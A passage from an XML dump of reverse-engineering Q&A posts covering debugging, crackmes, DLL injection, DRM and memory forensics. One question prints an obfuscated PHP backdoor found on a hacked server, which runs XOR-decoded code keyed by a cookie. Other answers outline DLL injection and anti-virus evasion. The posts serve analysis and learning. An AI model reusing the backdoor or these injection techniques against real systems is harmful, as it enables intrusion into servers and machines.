&lt;code&gt;&quot;haxxor&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to break whenever the value of the string is '&quot;haxxor&quot;', then it will be a bit more difficult. Personally, I would set a watchpoint to each character with a condition such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;watch *0xdeadbeef if *0xdeadbeef == 'h'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And thus, for each character of the string.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2017-08-22T09:33:41.110" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16162" PostTypeId="2" ParentId="16158" CreationDate="2017-08-22T12:00:45.930" Score="1" Body="&lt;p&gt;you could write a script which will get all xref's to&lt;code&gt;GetProcAddress&lt;/code&gt;then go one by one to check&lt;code&gt;GetProcAddress&lt;/code&gt; second parametes &lt;code&gt;lpProcName&lt;/code&gt; next follow disassembly trace return value &lt;code&gt;eax&lt;/code&gt; to first memory write e.g. &lt;code&gt;mov dword ptr [unknown_ptr], eax&lt;/code&gt; and rename the pointer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For inspiration look at IDAscope plugin:&#xA;&lt;a href=&quot;https://hex-rays.com/contests/2012/index.shtml#idascope&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://hex-rays.com/contests/2012/index.shtml#idascope&lt;/a&gt;&#xA;or funcap&#xA;&lt;a href=&quot;https://hex-rays.com/contests/2013/index.shtml#funcap&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://hex-rays.com/contests/2013/index.shtml#funcap&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2936" LastActivityDate="2017-08-22T12:00:45.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16163" PostTypeId="1" CreationDate="2017-08-22T15:12:15.127" Score="2" ViewCount="2051" Body="&lt;p&gt;My friend's server was recently hacked and I'm trying to decipher the malicious files I found in hopes of understanding the hack better. I can tell that they're using an XOR/Vigenère cipher and I've tried to learn everything I could about that on my own, but while I am a programmer I'm not a cryptographer and most of what I've found has gone over my head. I'm wondering if someone here would be kind enough to walk me through what I would actually need to do to break the cipher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code in question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$vewusl = 'ZW5jMTMz...XBzazt9KCRzJXMn'; //Truncated from 1165 lines of encrypted data by me, the guy asking this question&#xA;&#xA;$_igophqd = create_function ('$vewusl', igophqd (base64_decode (&#xA;    'VRNSChUZGhAfX1FYQwpBU0IbBwBKBAJQbVQEUAtQUEEQTRQwXXtWcmJwZ29lVmhjIGo'.&#xA;    'DJ0EndzJ3QzV7D3FRIlg3aSNZfGZhZmB4f2YFfGUwUDQnaDBnMWdmJGVUAFcyRxZrNF'.&#xA;    '54anFfWlVxcQZ3ZggGISNvIGI3YGE2YjVhbyZmEVY3BXtqZ094fWICK3xvUmUvMlE3c'.&#xA;    'yd0VARiNkB0MwAGcCFgbFFiUHNncEsjVHEFegckCSBlImdDKGExYmUwYQl2N2BoZlJ1'.&#xA;    'UnNgYgp1ZTBHJjNSFWYscFMiexNDYTNbKGs+TXR3cQdGdH9yU1NlIFc2InswUDFzVDR'.&#xA;    'xVXV3JWEkeyRnAVR2T2x1dGJXUnQOSzwgfCRSNnN9LWI2V20ncQ1xIXB/c2JfDmx2RC'.&#xA;    'tzfxpqNiQIIHwgXmEjZTJ9djBlKH4xBE53dQdOfm9xFmZ0DmUiKWtQbiNgUzlwHFB0I'.&#xA;    'gAVYCJjb3RjZQZuf2ZSY2RSdTMiCThiN2BhLHZVR2MicQ5iIwQBZXNAA3VmAlZpYQVc'.&#xA;    'LSZsCmUhWkMtYjZXeylIUHojdw1mYVxvbHNLI1ZyCWY9JmwodiZkUwBhMWVvNEcrVyR'.&#xA;    '0c2BxcQ5jcmISZn8gfQcna1B2IXB5NnsPZlQmdjNqJHd3fGJiD39/ZjNqciRyLDN/N3'.&#xA;    'whA3UCUSZudDJcCmIuTXNWd094cWACK1JwDgYnM3wkZSBKeS9iMn1iM1w0agRNe1Z0B'.&#xA;    '2R7YUsjVnIOAwAifCt6IgJ5NWExcVEkWzx7I1IIcGVfbHFhcQVhYzBDASdrUHUhc182'.&#xA;    'dSZhfDBYN1Y3Ugx0ZWZ8dHFyKFRmBWE2IwgWYjdgYS52E1ByJmI/cS5dY3x2T1VkZl8'.&#xA;    'wc1YndjQ7fCR+NnBqJmIzXHQ5YlB4BGMNZndPYGVmZVt2ZgpqAydBJ3cyd0MoYTVQYi'.&#xA;    'QBIHUzY1Fwdwd0fmVEK2F1J3EiJG8OViFwfiR1DF96MFg3ZjFndHN2BlF4cXYaYWIwe'.&#xA;    'TI0XiNFJmRlJmslfmQmYgpmNGcBVHR1e1BydlNzcFJ2PTl7O3YiAwQ7ZAx5CEYZSRNC'.&#xA;    'anp9f3x/cxdoEURFPUEAEVUAVwEaF08USBQSPhdJE0JqandiYXNkbBQqZGMybC0uajU'.&#xA;    'TORttSBpN'&#xA;), $_COOKIE [str_replace('.', '_', $_SERVER['HTTP_HOST'])]) . ';'); $_igophqd($vewusl); &#xA;&#xA;function igophqd ($udopz, $bgsqhbl) { return $udopz ^ str_repeat ($bgsqhbl, ceil (strlen ($udopz) / strlen ($bgsqhbl))); }  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I obviously don't have access to the data stored in the cookie. All the malicious files are the same, so I don't think we can use two of them to figure out the key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the encrypted code creates a function, I assume it's executable PHP which likely has spaces, dollar signs, and other coding symbols. I tried using every tool I could find to help with this (&lt;a href=&quot;https://github.com/hellman/xortool&quot; rel=&quot;nofollow noreferrer&quot;&gt;xortool&lt;/a&gt;, &lt;a href=&quot;https://github.com/davehull/MCC/blob/master/sets/1/Crack-XORRepeatingKeyCrypto.ps1&quot; rel=&quot;nofollow noreferrer&quot;&gt;XORRepeatingKeyCrypto&lt;/a&gt;, &lt;a href=&quot;https://blog.didierstevens.com/programs/xorsearch/&quot; rel=&quot;nofollow noreferrer&quot;&gt;XORSearch &amp;amp; XORStrings&lt;/a&gt;, &lt;a href=&quot;http://eternal-todo.com/var/scripts/xorbruteforcer&quot; rel=&quot;nofollow noreferrer&quot;&gt;xorbruteforcer&lt;/a&gt;, &lt;a href=&quot;https://hooked-on-mnemonics.blogspot.com/p/iheartxor.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;iheartxor&lt;/a&gt;, &lt;a href=&quot;https://github.com/hiddenillusion/NoMoreXOR&quot; rel=&quot;nofollow noreferrer&quot;&gt;NoMoreXOR&lt;/a&gt;) but mind you I'm not really trained to use any of those.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on my analysis I suspect the key contains x62 and is either 32, 36, or 28 characters long, but again, I'm not an expert at this stuff. The key may also contain: x16,x17,x0d,x0f,x33,x66,x36,6,T,12...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand the programming part just fine, but I thought it might be useful to have the context. Here's the just the cipher I'm trying to break, which I think is XOR encrypted with a repeating key:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VRNSChUZGhAfX1FYQwpBU0IbBwBKBAJQbVQEUAtQUEEQTRQwXXtWcmJwZ29lVmhjIGoDJ0EndzJ3QzV7D3FRIlg3aSNZfGZhZmB4f2YFfGUwUDQnaDBnMWdmJGVUAFcyRxZrNF54anFfWlVxcQZ3ZggGISNvIGI3YGE2YjVhbyZmEVY3BXtqZ094fWICK3xvUmUvMlE3cyd0VARiNkB0MwAGcCFgbFFiUHNncEsjVHEFegckCSBlImdDKGExYmUwYQl2N2BoZlJ1UnNgYgp1ZTBHJjNSFWYscFMiexNDYTNbKGs+TXR3cQdGdH9yU1NlIFc2InswUDFzVDRxVXV3JWEkeyRnAVR2T2x1dGJXUnQOSzwgfCRSNnN9LWI2V20ncQ1xIXB/c2JfDmx2RCtzfxpqNiQIIHwgXmEjZTJ9djBlKH4xBE53dQdOfm9xFmZ0DmUiKWtQbiNgUzlwHFB0IgAVYCJjb3RjZQZuf2ZSY2RSdTMiCThiN2BhLHZVR2MicQ5iIwQBZXNAA3VmAlZpYQVcLSZsCmUhWkMtYjZXeylIUHojdw1mYVxvbHNLI1ZyCWY9JmwodiZkUwBhMWVvNEcrVyR0c2BxcQ5jcmISZn8gfQcna1B2IXB5NnsPZlQmdjNqJHd3fGJiD39/ZjNqciRyLDN/N3whA3UCUSZudDJcCmIuTXNWd094cWACK1JwDgYnM3wkZSBKeS9iMn1iM1w0agRNe1Z0B2R7YUsjVnIOAwAifCt6IgJ5NWExcVEkWzx7I1IIcGVfbHFhcQVhYzBDASdrUHUhc182dSZhfDBYN1Y3Ugx0ZWZ8dHFyKFRmBWE2IwgWYjdgYS52E1ByJmI/cS5dY3x2T1VkZl8wc1YndjQ7fCR+NnBqJmIzXHQ5YlB4BGMNZndPYGVmZVt2ZgpqAydBJ3cyd0MoYTVQYiQBIHUzY1Fwdwd0fmVEK2F1J3EiJG8OViFwfiR1DF96MFg3ZjFndHN2BlF4cXYaYWIweTI0XiNFJmRlJmslfmQmYgpmNGcBVHR1e1BydlNzcFJ2PTl7O3YiAwQ7ZAx5CEYZSRNCanp9f3x/cxdoEURFPUEAEVUAVwEaF08USBQSPhdJE0JqandiYXNkbBQqZGMybC0uajUTORttSBpN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the base64 decoded version:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;5513520a15191a101f5f5158430a4153421b07004a0402506d5404500b505041104d14305d7b56726270676f65566863206a0327412777327743357b0f71512258376923597c66616660787f66057c653050342768306731676624655400573247166b345e786a715f5a557171067766080621236f2062376061366235616f2666115637057b6a674f787d62022b7c6f52652f3251377327745404623640743300067021606c5162507367704b235471057a0724092065226743286131626530610976376068665275527360620a7565304726335215662c7053227b134361335b286b3e4d7477710746747f72535365205736227b305031735434715575772561247b24670154764f6c7574625752740e4b3c207c245236737d2d6236576d27710d7121707f73625f0e6c76442b737f1a6a362408207c205e612365327d763065287e31044e7775074e7e6f711666740e6522296b506e23605339701c50742200156022636f746365066e7f66526364527533220938623760612c7655476322710e6223040165734003756602566961055c2d266c0a65215a432d6236577b2948507a23770d66615c6f6c734b23567209663d266c2876266453006131656f34472b572474736071710e63726212667f207d07276b5076217079367b0f66542676336a2477777c62620f7f7f66336a7224722c337f377c2103750251266e74325c0a622e4d7356774f787160022b52700e0627337c2465204a792f62327d62335c346a044d7b567407647b614b2356720e0300227c2b7a2202793561317151245b3c7b23520870655f6c716171056163304301276b507521735f367526617c3058375637520c7465667c747172285466056136230816623760612e7613507226623f712e5d637c764f5564665f3073562776343b7c247e36706a2662335c743962507804630d66774f606566655b76660a6a0327412777327743286135506224012075336351707707747e65442b6175277122246f0e5621707e24750c5f7a30583766316774737606517871761a6162307932345e2345266465266b257e6426620a663467015474757b50727653737052763d397b3b762203043b640c790846194913426a7a7d7f7c7f7317681144453d410011550057011a174f144814123e174913426a6a77626173646c142a6463326c2d2e6a3513391b6d481a4d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or am I supposed to retain the spaces in the base64 decoded output? I'm guessing that I don't retain the spaces and that this is what I should be trying to break, but these are the kinds of things I'm not sure about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also created &lt;a href=&quot;https://gist.github.com/beaulm/d5ff6e26e9ce48e0c8f68b5623507418&quot; rel=&quot;nofollow noreferrer&quot;&gt;a gist with the full file contents&lt;/a&gt; in case we need what's in $vewusl in order to crack this cipher.&lt;/p&gt;&#xA;" OwnerUserId="21302" LastActivityDate="2017-08-22T16:50:59.677" Title="Help me understand how to actually break an XOR/Vigenère cipher" Tags="|encryption|cryptography|xor|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16164" PostTypeId="2" ParentId="16163" CreationDate="2017-08-22T16:50:59.677" Score="2" Body="&lt;p&gt;When it comes to break some encrypted texts, you have to take a few hypothesis and check it with caution (it may make you loose a lot of time... believe me). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first Base64 decoding seems to be quite promising and lead to some hexadecimal blob that you should analyze first before trying to step further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would advise you to make a frequency analysis of the hexadecimal blob grouping the characters two by two (sounds pretty common as two characters in hexadecimal is a byte).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wouldn't be surprised if:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;All the hexadecimal code in the blob are within the printable zone in the ASCII table.&lt;/li&gt;&#xA;&lt;li&gt;Once translated back into ASCII table, the message will have no meaning.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It should means that another encoding/encryption has been applied to the blob which can be either XOR-encryption or Vigenere encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The good news is that both encryption (Vigenere and XOR) are quite easily breakable with the same approach.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Perform a &lt;a href=&quot;https://en.wikipedia.org/wiki/Kasiski_examination&quot; rel=&quot;nofollow noreferrer&quot;&gt;Kasiski examination&lt;/a&gt; of the encrypted text to find the size of the key (the length of the encoding word if it is a Vigenere and the length of the XORing vector if it is XOR-encryption).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Perform a frequency analysis for each letter/byte of the Vigenere/XOR password.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add some intuition and guessing to reach the full text.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I hope this will help you a bit.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2017-08-22T16:50:59.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16166" PostTypeId="2" ParentId="8635" CreationDate="2017-08-23T07:18:46.973" Score="1" Body="&lt;p&gt;Where I would start...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start by reading about &lt;a href=&quot;https://en.wikipedia.org/wiki/QR_code&quot; rel=&quot;nofollow noreferrer&quot;&gt;QR codes&lt;/a&gt;. I would guess that QR codes aren't that far off from Snapcodes, but Snapcodes probably carry very little information. As in, they only contain a pointer to a Snapchat ID. A Micro QR code can hold 35 characters, which is probably about the capacity of a Snapcode and rather than an anchor point you have a ghost for orientation and a box of known size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How many dots can a Snapcode have if every dot is 'on'?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Learn about Snapchat IDs. What are the allowable set of characters and minimum and maximum length?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing to try would be to start messing with Snapcodes. Can you mess with the dots and colours? You can learn how robust they are by trying to break them which in turn tells you if they're doing error correction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compare a few snapcodes. In fact, generate snapcodes. You might check out this project that demos connecting to the &lt;a href=&quot;https://github.com/jusleg/snaptag&quot; rel=&quot;nofollow noreferrer&quot;&gt;Snapchat API&lt;/a&gt; and generate several Snapcodes changing letters, seeing how it behaves as you add or remove characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, reverse-engineering this is an exercise in learning everything there is to know about this topic. When you acquire enough information you might make a leap into being able to read and generate arbitrary codes.&lt;/p&gt;&#xA;" OwnerUserId="3872" LastActivityDate="2017-08-23T07:18:46.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16167" PostTypeId="1" AcceptedAnswerId="16168" CreationDate="2017-08-23T13:26:13.797" Score="5" ViewCount="2574" Body="&lt;p&gt;I am currently working on some crackme, that has implemented an obfuscation technique, virtualisation. The virtual machine inside this crackme is a huge switch-case block (over 130 cases in it). I have already read dozens of article, but none are making things clear enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found some info though, that I can find some buffer in memory, containing opcodes, that are native assembly code that are then interpreted by the virtual machine in switch cases block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finding them will provide an opportunity to write a small disassembler on any language preferred, where in &quot;case&quot;-blocks would be the native operations written, like &lt;code&gt;printf(&quot;mov eax, dword ptr [ebp-4]&quot;)&lt;/code&gt;. That way I can figure out the algorithm of generating and checking the serial. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I am stuck on finding that memory location with opcodes. Can anyone advice me something on how to find these, some techniques, or at least some good literature or tutorials on how to deal with such a thing? May be there are some common ways to crack this kind of crackme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your help is very much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="21328" LastEditorUserId="53" LastEditDate="2017-08-23T16:38:27.590" LastActivityDate="2017-08-23T16:38:27.590" Title="Reverse engineering the virtual machine based crackme" Tags="|disassembly|crackme|assembly|virtualizers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16168" PostTypeId="2" ParentId="16167" CreationDate="2017-08-23T16:37:23.487" Score="10" Body="&lt;p&gt;First of all, the fact to turn a program into a bytecode that will be interpreted by a crafted VM which will be embedded into the software is a quite well-known technique of obfuscation. There have been numerous writings about it.&lt;/p&gt;&#xA;&lt;p&gt;If you want to find good pointers about it (and how to solve it in different ways), I would advise you to search for &amp;quot;&lt;em&gt;VM-based obfuscation&lt;/em&gt;&amp;quot; on any search engine. It should provide you with a lot of literature about it.&lt;/p&gt;&#xA;&lt;p&gt;Now, solving this kind of thing require first to identify the internal language of the machine and then to understand the program that is coded into this language. For now, there have been only very few progress in automating this process and human is still heavily required to guide and understand what is going on in the obfuscated program.&lt;/p&gt;&#xA;&lt;p&gt;Yet, one nice thing you can look at is the fact that the VM itself usually looks like another obfuscation called &amp;quot;&lt;em&gt;CFG-flattening&lt;/em&gt;&amp;quot; that can be partially processed automatically (even though, I cannot advise you any public tool about it). Anyway, the VM-based obfuscation and the CFG-flattening obfuscation are somehow very close (the CFG-flattening is a subcase of the VM-based obfuscation), so do not hesitate to look at these two techniques and the tricks that may be associated to it.&lt;/p&gt;&#xA;&lt;p&gt;Here is a bunch of pointers that you may find relevant:&lt;/p&gt;&#xA;&lt;h3&gt;About VM-based obfuscation&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://recon.cx/2008/a/craig_smith/Neohapsis-VM-101.pdf&quot; rel=&quot;noreferrer&quot;&gt;Creating Code Obfuscation Virtual Machines&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://static.usenix.org/event/woot09/tech/full_papers/rolles.pdf&quot; rel=&quot;noreferrer&quot;&gt;Unpacking Virtualization Obfuscators&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tigress.cs.arizona.edu/&quot; rel=&quot;noreferrer&quot;&gt;The Tigress C Diversifier/Obfuscator&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/JonathanSalwan/Tigress_protection&quot; rel=&quot;noreferrer&quot;&gt;Jonathan Salwan's deobfuscation method using symbolic execution&lt;/a&gt; (see also these &lt;a href=&quot;https://triton.quarkslab.com/files/csaw2016-sos-rthomas-jsalwan.pdf&quot; rel=&quot;noreferrer&quot;&gt;slides&lt;/a&gt;);&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www2.cs.arizona.edu/people/debray/Publications/ccs-unvirtualize.pdf&quot; rel=&quot;noreferrer&quot;&gt;Deobfuscation of Virtualization-Obfuscated Software: A Semantics-Based Approach&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Also, this &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/7990/writeup-of-reverse-engineering-vm-based-obfuscation&quot;&gt;question&lt;/a&gt; in this website is also relevant to look at.&lt;/p&gt;&#xA;&lt;h3&gt;About CFG-flattening&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2221/what-is-a-control-flow-flattening-obfuscation-technique&quot;&gt;What is a “control-flow flattening” obfuscation technique?&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://tigress.cs.arizona.edu/transformPage/docs/flatten/&quot; rel=&quot;noreferrer&quot;&gt;Control-Flow Flattening&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blog.quarkslab.com/deobfuscation-recovering-an-ollvm-protected-program.html&quot; rel=&quot;noreferrer&quot;&gt;Deobfuscation: recovering an OLLVM-protected program&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www2.cs.arizona.edu/%7Edebray/Publications/unflatten.pdf&quot; rel=&quot;noreferrer&quot;&gt;Reverse Engineering Obfuscated Code&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Of course, you may find more useful links by yourself! Feel free to improve the list on your own! I just hope that these ones will help you a bit.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-08-23T16:37:23.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16169" PostTypeId="2" ParentId="16099" CreationDate="2017-08-23T18:53:31.297" Score="1" Body="&lt;p&gt;After I did some more digging in the APK, I found what handles the fylesystem for the emulator. It is the &lt;code&gt;libmain.so&lt;/code&gt; binary. Because it is handled by this file, modifying it is next to imposdible, this is because &lt;code&gt;.so&lt;/code&gt; files are akin to windiws &lt;code&gt;.dll&lt;/code&gt; binaries and are signed. Since modifying the file is not really an option, the only alternative answer to changing the emulators filesystem is to re-build it from the &lt;a href=&quot;https://github.com/dolphin-emu/dolphin&quot; rel=&quot;nofollow noreferrer&quot;&gt;source code&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hZI1y.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hZI1y.jpg&quot; alt=&quot;The values were located using a hex editor.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the first instance I have found something like this in an android app. Usually modifying file paths can be achieved through decompiling and modifying the &lt;code&gt;DEX&lt;/code&gt;. Because of this, looking into the &lt;code&gt;.so&lt;/code&gt; binaries was the &lt;em&gt;last&lt;/em&gt; place I looked.&lt;/p&gt;&#xA;" OwnerUserId="21084" LastEditorUserId="21084" LastEditDate="2017-08-23T18:59:42.597" LastActivityDate="2017-08-23T18:59:42.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16172" PostTypeId="1" CreationDate="2017-08-24T07:41:46.987" Score="0" ViewCount="1769" Body="&lt;p&gt;I am currently working on learning how different types of DLL injection can be performed. Right now I am able to run a function by:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Opening the remote process;&lt;/li&gt;&#xA;&lt;li&gt;Allocating memory in remote process;&lt;/li&gt;&#xA;&lt;li&gt;Relocating our image according to the address of allocated memory;&lt;/li&gt;&#xA;&lt;li&gt;Using &lt;code&gt;CreateRemoteThread()&lt;/code&gt; giving it the address of my declared function.  &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, right now I am just executing a &lt;code&gt;_MessageBox_&lt;/code&gt; which is surely uninteresting. What I want to do right now is to execute a function which will load a DLL into its own address space and execute it, like how a traditional PE loader works. I took a reference code and tried but I am getting an access violation when I inspect using Olly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please tell me, is it even possible?&lt;/p&gt;&#xA;" OwnerUserId="15181" LastEditorUserId="53" LastEditDate="2017-08-24T08:10:29.667" LastActivityDate="2017-08-28T17:27:25.250" Title="In Memory DLL Injection" Tags="|ollydbg|c++|winapi|dll-injection|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16174" PostTypeId="2" ParentId="16172" CreationDate="2017-08-24T08:06:48.047" Score="0" Body="&lt;p&gt;Yes it is possible but to load a DLL into a process's own address space , what are you using?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should use LoadLibrary(&quot;my.dll&quot;) for this case.&#xA;Note that you dont need to use CreateRemoteThread() for this case.&lt;/p&gt;&#xA;" OwnerUserId="16412" LastActivityDate="2017-08-24T08:06:48.047" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16175" PostTypeId="2" ParentId="15671" CreationDate="2017-08-24T21:46:01.307" Score="3" Body="&lt;p&gt;I'm guessing that the reason that Widevine hasn't been cracked yet (or at least not that I know of), is that there are much easier solutions out there for bypassing CDM restrictions than cracking Widevine itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, you mentioned Chrome's Level 3 Security (no TEE hardware support required). It is well known that the browser itself can be modified to violate any content restrictions that may exist.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Chrome has long been an open-source project and developers have been able to create their own versions of the browser that, for example, may use a different CDM or include modified CDM rendering paths,&quot; the spokesman wrote WIRED in an email.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://www.wired.com/2016/06/bug-chrome-makes-easy-pirate-movies/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.wired.com/2016/06/bug-chrome-makes-easy-pirate-movies/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is possible to start with Chrome's open source project, Chromium, and modify the rendering pipeline to redirect video content to other sinks besides the screen. I assume this is how many pirating tools have been developed as well.&lt;/p&gt;&#xA;" OwnerUserId="21350" LastEditorUserId="21350" LastEditDate="2018-02-27T00:59:41.440" LastActivityDate="2018-02-27T00:59:41.440" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16176" PostTypeId="1" CreationDate="2017-08-25T05:29:54.343" Score="3" ViewCount="6937" Body="&lt;p&gt;According to the book &lt;em&gt;The Art of Memory Forensics[1]&lt;/em&gt;, there is a heaps plugin that can extract out information from the heap memory of a process. I'm using latest version of volatility - 2.6 , but the &lt;code&gt;heaps&lt;/code&gt; plugin is not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any alternatives by which i can extract information from a process heap using volshell or any plugins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;[1]&#xA;Ligh, Michael Hale, et al. The art of memory forensics: detecting malware and threats in windows, linux, and Mac memory. John Wiley &amp;amp; Sons, 2014.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="21356" LastEditorUserId="15907" LastEditDate="2017-08-27T10:38:54.310" LastActivityDate="2019-09-29T15:14:54.303" Title="Volatility - manually inspect heap of a process" Tags="|memory|python|digital-forensics|memory-dump|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16177" PostTypeId="2" ParentId="16172" CreationDate="2017-08-25T09:52:07.800" Score="0" Body="&lt;p&gt;Well as you already pointed out the usual process of a simple DLL injection is&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open the target process and aquire a handle&lt;/li&gt;&#xA;&lt;li&gt;Allocate memory for your code&lt;/li&gt;&#xA;&lt;li&gt;Create a thread which calls &lt;code&gt;LoadLibrary&lt;/code&gt; with your payload library path as parameter&lt;/li&gt;&#xA;&lt;li&gt;Close the target process&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You said you already managed to create a thread and open a message box.&#xA;To load your payload library you just need to call &lt;code&gt;LoadLibrary&lt;/code&gt; instead of &lt;code&gt;MessageBox&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That would be, in my opinion, the easiest way to inject a library into a process. However, sometimes you need to use a different technique since Anti Virus / Anti Cheat Software (depending on your work area) can block this method easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A more advanced method is &lt;code&gt;Manual Mapping&lt;/code&gt;. Basically you are loading the payload library yourself, without the help of the operating system, and map it into the target process' memory. Instructions for this method can be found &lt;a href=&quot;http://www.rohitab.com/discuss/topic/40761-manual-dll-injection/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another little &lt;code&gt;trick&lt;/code&gt; when working with low level Windows stuff is to take a look at the &lt;code&gt;reactOS&lt;/code&gt; documentation. &lt;code&gt;reactOS&lt;/code&gt; is a different operating system, but implements the Windows API. It's not garuanteed to be fully compatible but it should give you an idea how the functions are implemented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you can find the implementation of &lt;code&gt;LoadLibrary&lt;/code&gt; &lt;a href=&quot;https://doxygen.reactos.org/d7/d55/ldrapi_8c.html#a7671bda932dbb5096570f431ff83474c&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are more ways to get your code into your target. Let your creativity run free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, a neat library I like to use for this tasks is &lt;a href=&quot;https://github.com/DarthTon/Blackbone&quot; rel=&quot;nofollow 